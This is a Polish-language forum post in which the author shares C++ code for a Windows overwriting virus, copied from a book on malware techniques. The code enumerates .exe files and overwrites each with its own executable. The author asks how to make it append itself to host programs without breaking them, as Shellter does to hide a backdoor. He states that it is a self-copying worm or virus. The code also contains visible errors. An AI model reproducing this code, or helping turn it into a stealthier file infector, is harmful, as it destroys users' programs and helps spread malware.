Witam mam problem, przepisaem ten oto krtki kod z ksiki ("TECHNIKI TWRCW ZOLIWEGO OPROGRAMOWANIA" D.Farbianiec) do mojego kompilatorka c++ oczywicie najpierw namczyem si z sam kompilacj kodu poniewa kompilator ma 1000 i jeden sposb na skompilowanie prostego programu, no i pojawi si problem. Jak zmieni powyszy kod aby nie kasowa zawartoci pliku exe tylko niewiem, nadpisywa dopisywa siebie bez uszkadzania innego. W tej formie kod jest bezuyteczny poniewa psuje kady plik zamieniajc go na sibi a ja chce aby w jednym pliku by i kalkulator i mj plik, a na razie jest tylko mj plik. Jak to zmieni i czy wogle w takiej formie jest to moliwe? chodzi mi o to aby to byo cos w stylu bindowania plikw lub to samo co robi shellter do zamaskowania backdoora w jakies tam prostej aplikacji. Krtko jest to robak/wirus ktry ma si kopiowa do innych plikw.

#include <Windows.h>
#include <Shlwapi.h>

#pragma comment(lib,"Shlwapi.lib")

char VirusName[MAX_PATH] = "\0";
HINSTANCE hInst = NULL;
DWORD dwReadWritten = NULL;


static void SearchDirectory(char * pszDirectory)
{
CHAR szSearch[MAX_PATH] = { 0 };
CHAR szDirectory[MAX_PATH] = { 0 };
HANDLE hFind = NULL;
WIN32_FIND_DATA FindData;

wsprintf(szSearch, "%s%s", pszDirectory, "*.exe");
hFind = FindFirstFileA(("C:\*.exe"), &FindData);
if (hFind == INVALID_HANDLE_VALUE)
{
return;
}
do
{
if (lstrcmp(FindData.cFileName, VirusName) != 0)
{
char szName[MAX_PATH] = "\0";

GetModuleFileName(NULL, szName, MAX_PATH);
CopyFile(szName, FindData.cFileName, FALSE);

}
} while (FindNextFileA(hFind, &FindData));
FindClose(hFind);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
hInst = GetModuleHandle(NULL);

char szCurrentPath[MAX_PATH] = "\0";
GetCurrentDirectory(MAX_PATH, szCurrentPath);
lstrcat("C:\\", "\\");
GetModuleFileName(NULL, VirusName, MAX_PATH);
lstrcpy(VirusName, PathFindFileName(VirusName));
SearchDirectory(szCurrentPath);
return EXIT_SUCCESS;
}